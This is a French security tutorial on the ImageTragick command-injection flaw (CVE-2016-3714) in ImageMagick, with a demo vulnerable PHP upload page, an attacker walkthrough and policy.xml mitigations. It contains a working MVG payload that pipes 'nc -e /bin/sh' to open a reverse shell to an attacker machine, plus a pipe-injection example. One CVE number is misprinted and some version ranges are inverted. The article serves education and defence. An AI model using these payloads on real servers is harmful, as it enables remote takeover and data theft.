Tweet
ImageTragick la nouvelle faille qui embrase la scène IT
Après le buzz autour de Heartbleed, Shellshock, Poodle et j’en passe, c’est au tour de la faille baptisé « ImageTragick » d’obtenir son nom, son logo, et son site dédié.
Le 3 mai dernier, le petit monde de l’infosec s’enflamme. Deux chercheurs d’origine russe publient leur « tragick » découverte. De multiples vulnérabilités ont été découvertes au sein de la suite ImageMagick, et permettent la prise de contrôle à distance. Une d’entre elles sort du lot. Elle est référencée CVE-2016–3714
La suite, utilisée dans le traitement d’image et implémentée au sein de nombreux langages (pour ne pas dire tous) ; offre désormais un point d’entrée sur les systèmes employant la solution au sein de leurs formulaires d’upload d’image (forums, réseaux sociaux, galeries, CMS, etc.).
Le nombre de serveur concernés étant particulièrement important., et la faille étant particulièrement simple à exploiter, l’emballement autour d’ImageTragick fait sens…
I - Présentation de la vulnérabilité
Qu'est-ce que ImageMagick ?
ImageMagick est une bibliothèque Open Source très répandue et largement utilisée pour créer, éditer, convertir ou composer des fichiers images (plus de 200 formats sont supportés).
La « tragick » vulnérabilité
Les nombreuses vulnérabilités au sein de l’utilitaire ont été découvertes par deux chercheurs. Stewie un chercheur en sécurité a trouvé le bug initial (CVE-2016-3717) et Nikolay Ermishkin les bugs supplémentaires, notamment celui permettant l’exécution de code à distance.
C’est cette vulnérabilité (CVE-2016-3714) particulièrement simple à exploiter qui nous intéresse aujourd’hui.
Cette dernière vulnérabilité touche les versions d’ ImageMagick 6.x > 6.9.3-10 et ImageMagick 7.x > 7.0.1-1 (datant d’avant fin avril 2016).
La faille permet l’injection de code arbitraire, et provient d’un filtrage insuffisant sur les chemin d’accès aux images, qu’ils s’agise de chemins locaux, ou distants (http(s) entre autres). En effet, il est possible d’utiliser des caractères pouvant être utilisés en ligne de commande.
En effet, ImageMagick permet de manipuler les images en faisant appel à des librairies externes. Cette fonctionnalité, appelée « delegate », correspond grosso-modo à l’exécution de la commande suivantes, en spécifiant différents paramètres comme le nom du fichier image : system(« $commande $paramètre »). Les différentes commandes utilisables, répertoriés au sein du fichier « delegate.xml » prennent en compte divers paramètres (entrées/sorties de noms de fichiers etc.). Le problème réside dans un mauvais filtrage du contenu de certains paramètre, comme %M, ce qui permet l’injection de commande. Pour cela, rien de plus simple, il suffit d’insérer dans le paramètre manipuler un caractère non filtré, comme le pipe (« | »).
Prenons l’exemple suivant. Au travers de la fonctionnalité « delegate », ImageMagick est capable de récupérer pour l’utilisateur des fichiers distant.
Concrètement, cela est entre autres nécessaire pour permettre la manipulation des fichiers images de type SVG (Scalable Vector Graphics) et MVG (Magick Vector Graphics), qui peuvent contenir des références à d’autres ressources aussi bien locales que distantes. Cependant, cette fonctionnalité ne se limite pas au traitement des fichiers SVG ou MVG, mais au traitement de tous les types de fichiers.
Note : MVG (Magick Vector Graphics), est un format de fichier d’image prenant la forme d’un script. Ici il est utile car il permet de manipuler facilement des images à l’aide de ImageMagick.
Code:
"curl" –s –k –L –o "%o" "https:%M"
Code:
‘https://example.com » ; | ls « -la’
En effet il est possible de passer la valeur en utilisant pipe « | », et injecter directement une commande système.
Note : ImageMagick détermine le type de fichier en entrée grâce à son contenu, et non pas grâce à son extension. Comme nous le verrons par la suite dans la démonstration : notre uploader n’acceptera que les fichiers JPG et PNG. C’est pourquoi nous enverrons un fichier PNG contenant du code MVG en vue d’une exploitation.
ImageMagick n’en tenant pas compte, même les uploaders « sécurisés » n’acceptant pas les images aux formats SVG ou MVG, ne sont pas à l’abri.
ImageMagick n’en tenant pas compte, même les uploaders « sécurisés » n’acceptant pas les images aux formats SVG ou MVG, ne sont pas à l’abri.
- Le téléchargement et l’exécution d’un fichier malveillant
- Une mise en place de backdoor (de type « reverse » via netcat par exemple)
Cette prise de contrôle amène alors à tous types de conséquences :
- Vol de données
- Déni de service
- Utilisation de la machine pour lancer d’autres actions malveillantes (phishing, Dos, hébergement de sites frauduleux, etc.)
- Accès au Parc informatique et pivot sur d’autres machines…
II - Exploitation de la faille
Afin de mieux comprendre la faille, passons à la pratique. Dans un premier temps, nous mettrons au point un site en local vulnérable, composé d’une page principale et d’un script d’upload. Puis dans un second temps nous prendrons le point de vue de l’attaquant, exploiterons la faille, et prendrons le contrôle du système cible.
Mise en place de la vulnérabilité
1. Pour cette démonstration nous avons installé une ancienne version d’ImageMagick, vulnérable à l’attaque.
2. Nous créons notre page d’upload d’image sur notre site personnel
index.php
Code PHP:
<!DOCTYPE html>
<html>
<head>
<title>Secure uplaod page</title>
</head>
<body>
<h1>Secure uplaod page</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="myimage">
<input type="submit" name="submit">
</form>
<?php
include("upload.php");
?>
</body>
</html>
upload.php
Code PHP:
<?php
if (isset($_POST["submit"])){
$validExt = array(".jpg", ".png");
$image = $_FILES["myimage"];
$ext = strrchr($image["name"], ".");
if(!in_array($ext, $validExt)){
exit("invalid extention");
}
if (move_uploaded_file($image["tmp_name"], "oimage.png")) {
system("convert oimage.png myimage.png");
echo "image has been uploaded <a href='myimage.png'>here</a>";
}
else {
echo "something wrong";
}
}
À présent, prenons le rôle de l’attaquant : nous sommes en juillet 2016, un correctif pour ImageMagick est disponible depuis des mois. Cependant, la mise à disposition d’un correctif ne signifie pas pour autant qu’il ait été installé. Par conséquent nous allons tenter notre chance…
Nous découvrons ce site personnel, il ne paye pas (mais alors pas du tout) de mine, il y a de fortes probabilités pour qu’il soit autohébergé sur un système surement non maintenu à jour…
1. Nous créons notre fichier image malveillant. Celui-ci contient un lien vers une image distante, peu importe laquelle. La suite est plus intéressante : le code suivant permet d’ouvrir une connexion de type « reverse », autant dire une backdoor via Netcat, vers notre machine attaquante (adresse : 127.0.0.1 et port : 6666).
evil.png
Code:
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh IP_ADDRESS_HERE "PORT_HERE)' pop graphic-context
evil_real.png
Code:
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh 127.0.0.1 "6666)' pop graphic-context
2. Préparons notre machine attaquante pour recevoir la connexion, nous ouvrons donc notre listener, à l’écoute sur le port renseigné.
3. Une fois ces deux éléments prêts, il nous suffit d’uploader l’image via le beau formulaire présent sur le site cible.
4. Bravo vous avez la main mise sur le système hébergeant le site. Libre à vous de choisir ce que vous en ferez !
III - Se protéger de la faille
Depuis mai la vulnérabilité a été corrigée, il suffit de mettre à jour votre bibliothèque vers la dernière version d’imageMagick (ImageMagick 6.x > 6.9.3-10 ou ImageMagick 7.x > 7.0.1-1).
Cependant, si pour une quelconque raison vous ne pouvez pas installer ce correctif, la faille Image Tragick (CVE-2015-3714) peut être remédiée en modifiant la configuration, via une simple modification du fichier /etc/ImageMagick/policy.xml. Et de désactiver les encodeurs vulnérables (SVG, MVG), ainsi que le HTTPS comme nous l’avons vu plus haut, Il suffit pour cela de rajouter les directives suivantes :
policy.xml
Code:
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap>
Code:
git clone https://github.com/ImageTragick/PoCs.git cd PoCs chmod +x test.sh && ./test.sh
https://github.com/ImageTragick/PoCs
Toutefois, même si la CVE-2016-3714 reste la plus critique, d’autres vulnérabilités ont également été découvertes et corrigées dans la bibliothèque en mai dernier. De ce fait, modifier votre fichier policy.xml ne suffit pas pour sécuriser complètement votre site, mettre à jour ImageMagick reste nécessaire.
IV - Conclusion
En mai dernier la vulnérabilité est publiée. Son exploitation est tellement simple qu’elle en est particulièrement critique et déconcertante, de par les dommages qui lui sont associés. Toutefois la contremesure l’est tout autant… On ne répètera jamais assez qu’il est nécessaire de maintenir son système à jour.
Sources :
- https://www.nolimitsecu.fr/imagetragick/
- https://cve.mitre.org/cgi-bin/cvenam...=CVE-2016-3714
- https://access.redhat.com/security/cve/cve-2016-3714
- https://imagetragick.com/
- https://github.com/ImageTragick/PoCs
- https://www.cvedetails.com/vulnerabi...agemagick.html
- https://mukarramkhalid.com/imagemagi.../#introduction
- https://blog.cloudflare.com/inside-i...ck-websites-2/
- http://permalink.gmane.org/gmane.com....general/19669
Commentaire